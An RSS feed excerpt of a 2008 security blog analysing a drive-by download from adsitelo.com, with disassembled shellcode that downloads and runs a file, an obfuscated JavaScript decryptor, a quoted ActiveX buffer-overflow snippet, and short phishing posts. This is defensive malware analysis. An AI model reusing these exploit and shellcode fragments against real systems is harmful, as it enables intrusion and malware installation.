&lt;span class="x"&gt;  000000C6    mov esi,[ebp+0x3c]        ; get the PE header&lt;/span&gt;
&lt;span class="x"&gt;  000000C9    mov esi,[esi+ebp+0x78]&lt;/span&gt;
&lt;span class="x"&gt;  000000CD    add esi,ebp&lt;/span&gt;
&lt;span class="x"&gt;  000000CF    push esi&lt;/span&gt;
&lt;span class="x"&gt;  000000D0    mov esi,[esi+0x20]        ; get the export name table&lt;/span&gt;
&lt;span class="x"&gt;  000000D3    add esi,ebp&lt;/span&gt;
&lt;span class="x"&gt;  000000D5    xor ecx,ecx&lt;/span&gt;
&lt;span class="x"&gt;  000000D7    dec ecx&lt;/span&gt;
&lt;span class="x"&gt;hash_init:&lt;/span&gt;
&lt;span class="x"&gt;  000000D8    inc ecx&lt;/span&gt;
&lt;span class="x"&gt;  000000D9    lodsd&lt;/span&gt;
&lt;span class="x"&gt;  000000DA    add eax,ebp&lt;/span&gt;
&lt;span class="x"&gt;  000000DC    xor ebx,ebx               ; ebx stores the computed hash&lt;/span&gt;
&lt;span class="x"&gt;hash_update:&lt;/span&gt;
&lt;span class="x"&gt;  000000DE    movsx edx,byte [eax]&lt;/span&gt;
&lt;span class="x"&gt;  000000E1    cmp dl,dh&lt;/span&gt;
&lt;span class="x"&gt;  000000E3    jz 0xed&amp;lt;hash_done&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  000000E5    ror ebx,0xd&lt;/span&gt;
&lt;span class="x"&gt;  000000E8    add ebx,edx&lt;/span&gt;
&lt;span class="x"&gt;  000000EA    inc eax&lt;/span&gt;
&lt;span class="x"&gt;  000000EB    jmp short 0xde&amp;lt;hash_update&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;hash_done:&lt;/span&gt;
&lt;span class="x"&gt;  000000ED    cmp ebx,[edi]             ; have we found the given hash?&lt;/span&gt;
&lt;span class="x"&gt;  000000EF    jnz 0xd8&amp;lt;hash_init&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  000000F1    pop esi&lt;/span&gt;
&lt;span class="x"&gt;  000000F2    mov ebx,[esi+0x24]&lt;/span&gt;
&lt;span class="x"&gt;  000000F5    add ebx,ebp&lt;/span&gt;
&lt;span class="x"&gt;  000000F7    mov cx,[ebx+ecx*2]&lt;/span&gt;
&lt;span class="x"&gt;  000000FB    mov ebx,[esi+0x1c]&lt;/span&gt;
&lt;span class="x"&gt;  000000FE    add ebx,ebp&lt;/span&gt;
&lt;span class="x"&gt;  00000100    mov eax,[ebx+ecx*4]&lt;/span&gt;
&lt;span class="x"&gt;  00000103    add eax,ebp&lt;/span&gt;
&lt;span class="x"&gt;  00000105    stosd                     ; store the address in place of the hash&lt;/span&gt;
&lt;span class="x"&gt;  00000106    pop esi&lt;/span&gt;
&lt;span class="x"&gt;  00000107    pop ecx&lt;/span&gt;
&lt;span class="x"&gt;  00000108    ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The hash value is computed with simple &lt;code&gt;ror&lt;/code&gt; and &lt;code&gt;add&lt;/code&gt; operations. I use
the following code to compute the hash of a function name:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;ror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;places&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;places&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;places&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;get_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;   

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The hashes of the functions to locate are stored in a table at the end
of the shellcode.  With the above program and a list of all the functions
in &lt;code&gt;kernel32.dll&lt;/code&gt; (obtained from
&lt;a href="http://www.sybase.com/detail?id=47705" title="32 Bit - Win95, Win 98 and
NT Functions - Kernel32.dll, User32.dll, Gdi32.dll"&gt;here&lt;/a&gt;), it is easy to
indentify the name of the corresponding functions:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000112      dd 0E8AFE98h            ; WinExec (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000116      dd 73E2D87Eh            ; ExitProcess (hash)&lt;/span&gt;
&lt;span class="x"&gt;  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)&lt;/span&gt;
&lt;span class="x"&gt;  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At this point, the shellcode loads &lt;code&gt;urlmon.dll&lt;/code&gt; and finds the
function &lt;code&gt;URLDownloadToFileA&lt;/code&gt;:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  00000037    push dword 0x6e6f&lt;/span&gt;
&lt;span class="x"&gt;  0000003C    push dword 0x6d6c7275&lt;/span&gt;
&lt;span class="x"&gt;  00000041    push esp&lt;/span&gt;
&lt;span class="x"&gt;  00000042    call near [esi]           ; LoadLibraryA(&amp;quot;urlmon&amp;quot;)&lt;/span&gt;
&lt;span class="x"&gt;  00000044    mov ebp,eax&lt;/span&gt;
&lt;span class="x"&gt;  00000046    call 0xc4&amp;lt;find_function&amp;gt;  ; find_function(urlmon.dll, URLDownloadToFileA)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The shellcode then creates a temporary file (using the &lt;code&gt;GetTempPathA&lt;/code&gt;
function), downloads a file from
&lt;code&gt;http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd&lt;/code&gt; &lt;code&gt;0000000000000000010&lt;/code&gt; (using the &lt;code&gt;URLDownloadToFileA&lt;/code&gt;
function), executes the downloaded file (via &lt;code&gt;WinExec&lt;/code&gt;), and finally exits
(&lt;code&gt;ExitProcess&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Not bad for what initially just looked like a long string in a JavaScript script...&lt;/p&gt;
</description><category>malware</category><category>javascript</category><category>binary</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-ii.html</guid><pubDate>Tue, 24 Jun 2008 21:24:00 GMT</pubDate></item><item><title>JavaScript attack - part I</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html</link><description>&lt;p&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/04/anatomy-of-a-drive-by-download.html" title="Anatomy of a drive-by download"&gt;JavaScript-based attacks&lt;/a&gt; are getting more and more sophisticated, thanks
probably to the use of exploit toolkits. Here is an example of a few
days ago. The domain involved was &lt;code&gt;adsitelo.com&lt;/code&gt;, which seems to have
been involved in a round of SQL injection attacks.&lt;/p&gt;

&lt;p&gt;As a start, it is interesting to note that the domain was (likely)
fast-fluxed.  Some of the IP addresses associated with it were
&lt;code&gt;129.118.49.144&lt;/code&gt;, &lt;code&gt;150.254.2.155&lt;/code&gt;, &lt;code&gt;66.40.18.206&lt;/code&gt;, &lt;code&gt;70.244.115.171&lt;/code&gt;,
&lt;code&gt;75.71.118.180&lt;/code&gt;, &lt;code&gt;79.94.146.249&lt;/code&gt;, &lt;code&gt;88.107.136.34&lt;/code&gt;, &lt;code&gt;99.234.157.198&lt;/code&gt;, and
&lt;code&gt;99.246.193.180&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;The initial step of the attack is a redirection: the page
&lt;code&gt;http://adsitelo.com/cgi-bin/index.cgi?ad&lt;/code&gt; redirects to
&lt;code&gt;http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000&lt;/code&gt;. 
Now, if you tried to directly download the landing page, you would be
presented with a 500 error page. The real content, in fact, is reachable only
under two conditions: the User-Agent identifies the browser as Internet
Explorer or Firefox, and the Referer is correctly set.
&lt;code&gt;wget&lt;/code&gt; allows us to quickly work around these problems:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \\
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \\
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The downloaded document is a JavaScript page:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;X88MxUL0B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;U1TaW1TwV&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;IyxC82Rbo&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;c5kJu150o&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4294967296&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;callee&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;s4wL1Rf57&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;SLpdE73p3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;s3KRUV5X6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\\W/g&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nx"&gt;SLpdE73p3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;SLpdE73p3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toUpperCase&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Cm6B7c5TS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;s4wL1Rf57&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LR8yTdO7t&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Cm6B7c5TS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Cm6B7c5TS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}}&lt;/span&gt;
&lt;span class="nx"&gt;X88MxUL0B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687&lt;/span&gt;
&lt;span class="s1"&gt;...&lt;/span&gt;
&lt;span class="s1"&gt;7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The script consists of two parts: a decryption routine (named
&lt;code&gt;X88MxUL0B&lt;/code&gt;) and the encrypted payload (the long string at the end of
the script). There are two things to notice
in the script:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It uses the &lt;a href="http://isc.sans.org/diary.html?storyid=3219" title="Raising the bar: dynamic JavaScript obfuscation"&gt;well-known&lt;/a&gt;  &lt;code&gt;arguments.callee.toString()&lt;/code&gt; function to prevent
modification to the body of the decryption routine. &lt;/li&gt;
&lt;li&gt;The code uses the &lt;code&gt;location.href&lt;/code&gt; property as part of the decryption key,
so that analyses that don't set it correctly will not be able to
reconstruct the malicious payload.
Another interesting feature of the script is that, on successive
requests, the payload was encrypted using different keys, so that it
appeared different.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In any case, decrypting the payload is not difficult. I just prepend the
following lines to the original script and pass it to Rhino:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://adsitelo.com/cgi-bin/index.cgi?ad&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;print&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first sets the &lt;code&gt;location.href&lt;/code&gt; property as required, the second
prints to the console all the strings passed to the &lt;code&gt;eval&lt;/code&gt; function for
evaluation. The result is... another obfuscated script, exactly similar
to the one just decrypted. So, let's apply another round of decryption.&lt;/p&gt;

&lt;p&gt;This time, we get a clear-text JavaScript script. The script sets a
cookie (probably to show that exploitation is under way) and attempts to
perform three attacks. The attacks seem to target vulnerabilities
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5820
" title="America Online SuperBuddy ActiveX Control Code Execution Vulnerability
"&gt;CVE-2006-5820&lt;/a&gt;,
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5779
" title="GOM Player 2.1.6.3499 GomWeb Control (GomWeb3.dll 1.0.0.12) remote
buffer overflow"&gt;CVE-2007-5779&lt;/a&gt;, and
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0015
" title="Apple Quicktime rtsp URL Handler Stack-based Buffer Overflow"&gt;CVE-2007-0015&lt;/a&gt;. 
The Firefox version of the malicious script contains only one attack,
probably targeting
&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0005
" title="Microsoft Windows Media Player Plugin Buffer Overflow Vulnerability"&gt;CVE-2006-0005&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As an example, the code for one of these attacks is:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;AMOoik_m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ActiveXObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GomWebCtrl.GomManager.1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AMOoik_m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;Exhne69P&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Amce264J&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;dHSLlQxf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;506&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;M13B4SOH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;M13B4SOH&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;dHSLlQxf&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;M13B4SOH&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nx"&gt;Amce264J&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="nx"&gt;Amce264J&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%0c%0c%0c%0c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;dU578_go&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;AMOoik_m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OpenURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Amce264J&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function &lt;code&gt;dU578_go&lt;/code&gt; sets a cookie. The function &lt;code&gt;Exhne69P&lt;/code&gt; uses heap
spray techniques to actually complete the exploit. But this is material
for another post :-)&lt;/p&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html</guid><pubDate>Mon, 23 Jun 2008 21:42:00 GMT</pubDate></item><item><title>'tis the season (for some phishers)</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/06/tis-the-season-for-some-phishers.html</link><description>&lt;p&gt;Phishers do put a lot of effort into creating a successful phishing
site. They register domains that look like the legitimate ones, set up
fast-flux infrastructures, compromise vulnerable machines to deploy
phishing kits, send lots of emails to attract victims. &lt;/p&gt;

&lt;p&gt;However, sometimes phishers slip up. For
&lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=463234
"PhishTank entry #463234"&gt;example&lt;/a&gt;, deploying a
Christmas-themed PayPal phishing site in June is, well, a giveaway...&lt;/p&gt;

&lt;p&gt;&lt;img src="images/blog/tis-the-season.png" class="figure-centered" 
     alt="Screenshot of PhishTank entry #463234 using a Christmas-themed
copy of PayPal"
     title="Screenshot of PhishTank entry #463234 using a Christmas-themed
copy of PayPal"
     width="500" height="333"/&gt;&lt;/p&gt;

&lt;p&gt;Happy holidays!&lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/06/tis-the-season-for-some-phishers.html</guid><pubDate>Sat, 21 Jun 2008 23:37:00 GMT</pubDate></item><item><title>An old phishing trick</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/06/an-old-phishing-trick.html</link><description>&lt;p&gt;Certain old tricks just don't want to go away. By all standards, the
fake address bar trick must be a classic. It consists of showing an
image that looks like the browser's address bar at the top of the page,
displaying a legitimate URL. &lt;/p&gt;

&lt;p&gt;A recent reappearance of this trick occurred in PhishTank entry
&lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=459204
" title="PhishTank entry #459204"&gt;459204&lt;/a&gt;. The phishing pages were hosted on
&lt;code&gt;lsarccc.com&lt;/code&gt;, but the fake address bar displays the more reassuring
domain &lt;code&gt;www.lloydstsb.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src="images/blog/old-phishing-trick.png" class="figure-centered" 
     alt="Screenshot of PhishTank entry #459204 using the fake address
bar trick"
     title="Screenshot of PhishTank entry #459204. The fake address bar
is highlighted in red."
     width="500" height="333"/&gt;&lt;/p&gt;

&lt;p&gt;Welcome back...&lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/06/an-old-phishing-trick.html</guid><pubDate>Tue, 17 Jun 2008 01:10:00 GMT</pubDate></item><item><title>Obfuscated phish</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/06/obfuscated-phish.html</link><description>&lt;p&gt;One interesting twist in phishing is the use of obfuscation to
masquerade the real content of phishing pages. PhishTank entry &lt;a
href="http://www.phishtank.com/phish_detail.php?phish_id=444100"&gt;444100&lt;/a&gt;
was a good example of this new "evolution".&lt;/p&gt;

&lt;p&gt;The main page of the phish replicates the login page of eBay. As is
commonly done, the login form is handled by a PHP script on the
vulnerable server. More interesting are the links to other resources,
Consider, for example, the link to the page describing the policies of
the targeted site. It also points at a local file, named &lt;code&gt;k.html&lt;/code&gt;.
However, &lt;code&gt;k.html&lt;/code&gt; uses JavaScript to obfuscate its contents:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%3C%53%43%52%49...%50%54%3E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;hp_d00&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%3C%53%43%52...50%54%3E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;hp_d00&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%3C%48%45%41...%41%44%3E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
